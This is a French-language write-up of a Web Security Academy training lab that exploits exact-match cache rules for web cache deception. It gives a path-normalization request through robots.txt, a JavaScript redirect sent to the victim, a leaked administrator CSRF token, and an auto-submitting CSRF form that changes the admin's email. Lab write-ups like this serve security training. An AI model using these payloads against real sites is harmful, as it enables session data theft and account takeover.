Tromperie du cache avec des règles de correspondance exacte

Exploiting exact-match cache rules for web cache deception

Lab: Exploiting exact-match cache rules for web cache deception | Web Security AcademyWebSecAcademy

Objectif du lab

Modifier l’adresse e-mail de l’utilisateur administrator.
Connexion disponible : wiener:peter.
Une liste de délimiteurs est fournie : Web cache deception lab delimiter list.

Contexte observé

Sur My account, il existe un champ pour changer l’e-mail.
La requête envoyée ressemble à :

email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a

Tests sur les délimiteurs

Web cache deception lab delimiter list | Web Security AcademyWebSecAcademy

En testant les caractères de la liste, le site accepte notamment :
- le point-virgule ;
- le point d’interrogation ?

Les attaques “classiques” ne fonctionnent pas dans ce lab.

Découverte d’une ressource cachée

Depuis Target → Site map, utilisation de Discover content.

Un fichier robots.txt apparaît et il est mis en cache.

Déception de cache via normalisation (chemin exact + détour)

But : forcer le cache à stocker une réponse sensible en la faisant “ressembler” à une ressource cachable.

Requêtes utilisées :

GET /my-account;/../robots.txt
# Version encodée
GET /my-account;%2f%2e%2e%2frobots.txt

Exploit envoyé à la victime

<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>

Résultat :

La page retournée correspond au compte administrator.

Dans la réponse, on récupère le CSRF token du formulaire e-mail, par exemple :

<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> Update email </button>

Étape finale prévue

Utiliser ce token pour générer un PoC CSRF afin d’envoyer une requête POST sur la page de changement d’e-mail de My account, et ainsi modifier l’e-mail de administrator.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Mis à jour il y a 1 mois

hashtagExploiting exact-match cache rules for web cache deception

hashtagObjectif du lab

hashtagContexte observé

hashtagTests sur les délimiteurs

hashtagDécouverte d’une ressource cachée

hashtagDéception de cache via normalisation (chemin exact + détour)

hashtagExploit envoyé à la victime

hashtagÉtape finale prévue